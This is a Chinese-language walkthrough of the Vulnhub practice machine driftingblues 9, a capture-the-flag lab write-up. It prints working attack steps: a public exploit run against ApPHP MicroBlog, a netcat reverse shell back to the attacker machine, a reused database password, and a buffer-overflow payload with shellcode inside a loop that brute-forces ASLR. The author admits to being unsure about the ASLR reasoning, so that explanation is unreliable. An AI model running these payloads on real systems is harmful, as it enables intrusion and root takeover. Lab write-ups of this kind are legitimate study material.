Vulnhub靶机:driftingblues 9

发布时间:2024年01月20日

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:driftingblues9(10.0.2.24)

目标:获取靶机root权限和flag

靶机下载地址:http://www.vulnhub.com/entry/driftingblues-9-final,695/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.24

在这里插入图片描述

使用nmap端口扫描发现靶机开放端口:80、111

在这里插入图片描述

访问网站,发现该网站为pPHP MicroBlog搭建的

在这里插入图片描述

使用dirsearch工具进行目录爆破,发现/INSTALL.txt文件,访问可获得信息:ApPHP MicroBlog Free版本为: 1.0.1

在这里插入图片描述

在这里插入图片描述

三、漏洞利用

使用searchsploit查找该版本的cms是否有历史漏洞,发现远程代码执行漏洞

searchsploit apphp microblog         

在这里插入图片描述

将exp下载,运行,主机获取shell

searchsploit -m 33070.py
python2 33070.py http://10.0.2.24/index.php

在这里插入图片描述

反弹shell更加方便一点,使用nc反弹shell,并获取交互式shell

靶机:
nc -e /bin/bash 10.0.2.15 4444

攻击机:
nc -lvp 4444
python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

使用sudo -l命令查看是否有特权命令,使用find / -perm -u=s -type f 2>/dev/null命令查看是否有什么可疑的具有root权限的文件,查看历史命令,查看计划任务…,都没有可利用的点

翻一翻靶机文件碰碰运气,发现在/home目录下存在clapton用户目录,没有权限访问

发现在/var/www/html/include目录下有个数据库文件,查看发现用户名密码:clapton\yaraklitepe

在这里插入图片描述
在这里插入图片描述

猜测该数据库密码为clapton用户的密码,尝试切换clapton用户su clapton,切换成功

在这里插入图片描述

访问/home/clapton的发现一个flag和提示信息

在这里插入图片描述

根据提示,打开网站,发现是讲解缓冲区溢出的文章,再根据当前路径下的input可执行文件,可以判断使用缓冲区溢出提权

  • https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
  • https://samsclass.info/127/proj/lbuf1.htm

在这里插入图片描述
在这里插入图片描述

额难办,没有半点pwn基础,参考网上的wp,边学边提权

首先将input程序移动到本机来(可以使用python在靶机搭建临时服务器),启动gdb使用cyclic工具(需要安装pwndbg插件)生成200个字符组成的字符串用于计算偏移量,为171

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

尝试在偏移量171溢出后情况,在溢出后的位置写入BBBB

r $(python -c 'print("A" * 171 + "B" * 4 )')

在这里插入图片描述

查看/proc/sys/kernel/randomize_va_space发现靶机开启了ASLR

ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。

在这里插入图片描述

在靶机查看ESP寄存器的值

x/s $esp

在这里插入图片描述

用esp 寄存器的 0xbf99cc60替换 4 个 B,因为是小字节序,倒过来写,构造 payload:

r $(python -c 'print("A" * 171 + "\x60\xcc\x99\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')

因为靶机开启了ASLR,Libc 随机化仅限于 8 位,所以写个循环爆破(不知道是不是这样,没理解清楚)

for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\x60\xcc\x99\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done

在这里插入图片描述
在这里插入图片描述

获取root目录下的flag

在这里插入图片描述

没有基础太难受了

参考链接:
缓冲区溢出利用——捕获eip的傻瓜式指南 - r00tgrok - 博客园 (cnblogs.com)

VulnHub-driftingblues:9_driftingblues9-CSDN博客

ASLR机制及绕过策略-栈相关漏洞libc基址泄露 - 简书 (jianshu.com)

nop sled 空操作雪橇 - 哼哼先生 - 博客园 (cnblogs.com)

红队渗透测试之Lord Of The Root——缓冲区溢出 - FreeBuf网络安全行业门户

Vulnhub 靶场 DRIFTINGBLUES: 9 (FINAL) - sainet - 博客园 (cnblogs.com)

文章来源:https://blog.csdn.net/qq_48904485/article/details/135715348
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。